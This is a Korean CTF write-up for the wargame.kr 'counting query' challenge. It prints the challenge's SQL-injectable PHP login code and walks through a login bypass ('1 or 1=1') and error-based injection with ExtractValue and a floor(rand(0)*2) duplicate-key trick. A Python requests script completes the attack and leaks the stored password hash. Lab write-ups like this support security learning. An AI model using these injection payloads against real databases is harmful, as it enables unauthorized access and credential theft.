[Wargame.kr] counting query 풀이 (474p)
Wargame/wargame.kr

[Wargame.kr] counting query 풀이 (474p)

counting query view-source code
<?php
 if (isset($_GET['view-source'])) {
     show_source(__FILE__);
     exit();
 }
 include("./inc.php"); // database connect.
 include("../lib.php"); // include for auth_code function.

 ini_set('display_errors',false);

 function err($str){ die("<script>alert(\"$str\");window.location.href='./';</script>"); }
 function uniq($data){ return md5($data.uniqid());}
 function make_id($id){ return mysql_query("insert into all_user_accounts values (null,'$id','".uniq($id)."','guest@nothing.null',2)");}
 function counting($id){ return mysql_query("insert into login_count values (null,'$id','".time()."')");}
 function pw_change($id) { return mysql_query("update all_user_accounts set ps='".uniq($id)."' where user_id='$id'"); }
 function count_init($id) { return mysql_query("delete from login_count where id='$id'"); }
 function t_table($id) { return mysql_query("create temporary table t_user as select * from all_user_accounts where user_id='$id'"); };

 if(empty($_POST['id']) || empty($_POST['pw']) || empty($_POST['type'])){
  err("Parameter Error :: missing");
 }

 $id=mysql_real_escape_string($_POST['id']);
 $ps=mysql_real_escape_string($_POST['pw']);
 $type=mysql_real_escape_string($_POST['type']);
 $ip=$_SERVER['REMOTE_ADDR'];

 sleep(2); // not Bruteforcing!!

 if($id!=$ip){
  err("SECURITY : u can access with allotted id only");
 }

 $row=mysql_fetch_array(mysql_query("select 1 from all_user_accounts where user_id='$id'"));
 if($row[0]!=1){
  if(false === make_id($id)){
   err("DB Error :: create user error");
  }
 }
 
 $row=mysql_fetch_array(mysql_query("select count(*) from login_count where id='$id'"));
 $log_count = (int)$row[0];
 if($log_count >= 4){
  pw_change($id);
  count_init($id);
  err("SECURITY : bruteforcing detected - password is changed");
 }
 
 t_table($id); // don`t access the other account

 if(preg_match("/all_user_accounts/i",$type)){
  err("SECURITY : don`t access the other account");
 }

 counting($id); // limiting number of query

 if(false === $result=mysql_query("select * from t_user where user_id='$id' and ps='$ps' and type=$type")){
  err("DB Error :: ".mysql_error());
 }

 $row=mysql_fetch_array($result);
 
 if(empty($row['user_id'])){
  err("Login Error :: not found your `user_id` or `password`");
 }

 echo "welcome <b>$id</b> !! (Login count = $log_count)";
 
 $row=mysql_fetch_array(mysql_query("select ps from t_user where user_id='$id' and ps='$ps'"));

 //patched 04.22.2015
 if (empty($ps)) err("DB Error :: data not found..");

 if($row['ps']==$ps){ echo "<h2>wow! auth key is : ".auth_code("counting query")."</h2>"; }

?>

푸는데 엄청 오랜 시간이 걸린 문제다.

지금까지 풀어봤던 Error Based SQLi와 문제 유형이 많이 달랐고, 그만큼 정보를 찾는 시간이 오래 걸렸다.

 

해당 코드는 다음과 같은 규칙(작동 방식)을 갖고있다.

1. 4번 로그인을 시도하면 패스워드가 변경된다.

2. 다른 계정(t_table)에 접근이 불가능하고, id, pw, type중 하나라도 빈 값이면 로그인이 되지 않는다.

3. type 부분에서 SQLi가 나타나는 걸 확인할 수 있다.

 

먼저 type 부분에 1 or 1=1 쿼리를 넣어봤다. (실제 Login count는 다름.)

패스워드에 아무 값이나 입력해도 로그인이 되는 모습이다.

type 부분을 이용해서, Error Based SQLi를 유도해봤다.

1 and ExtractValue(1,concat(0x01,@@version))
<script>alert("DB Error :: XPATH syntax error: '10.0.38-MariaDB-0ubuntu0.16.04.'");window.location.href='./';</script>

에러 메시지를 이용해, @@version 값을 가져오는데 성공했다.

오.. 빨리 해결할 수 있는 문제다! 하고 다음과 같은 쿼리문을 짜봤다.

1 and ExtractValue(1,concat(0x01,(select pw from t_user as qwer where id="IP")))

그랬더니..? can't reopen table t_user 라는 오류 메시지가 출력되었다.

열심히 찾아보니, temporary(임시) 테이블은 2번 참조하면 이러한 오류가 발생한다고 한다.

계속 삽질만 하던 도중, Lanian님 블로그에서 다음 구문을 발견하였다.

select 1 from dual where 1=1 and row(1,1)>(select count(*),concat(version(),floor(rand(0)*2)) x from (select 1 union select 2 union select 3)a group by x limit 1);

이걸 잘 응용하면 되지 않을까..? 하고 다음과 같이 파이썬 코드를 짜봤다. (아직도 row(1,1) 함수가 뭔지 모르겠다)

import requests

url = 'http://wargame.kr:8080/counting_query/login_ok.php'
pe = '1 or row(1,1)>(select count(*),concat(ps,0x41,floor(rand(0)*2)) as qwer from information_schema.tables group by qwer limit 1)'

data = {'id':'YOUR_IP_ADDRESS', 'pw':'test', 'type': pe}
html = requests.post(url, data=data)

print(html.text)

참고로, concat 함수에 0x41(A)를 넣은 이유는, ps 값과 floor(rand(0)*2) 값을 구분하기 위해서다,

<script>alert("DB Error :: Duplicate entry '8c1cb7d388b49d2fdb16d0383f74fcb6A1' for key 'group_key'");window.location.href='./';</script>

맨 뒤에있는 A1을 제외한 앞에 출력된 값이 패스워드이다.

또 SQLi 문제 풀면 병걸리겠다..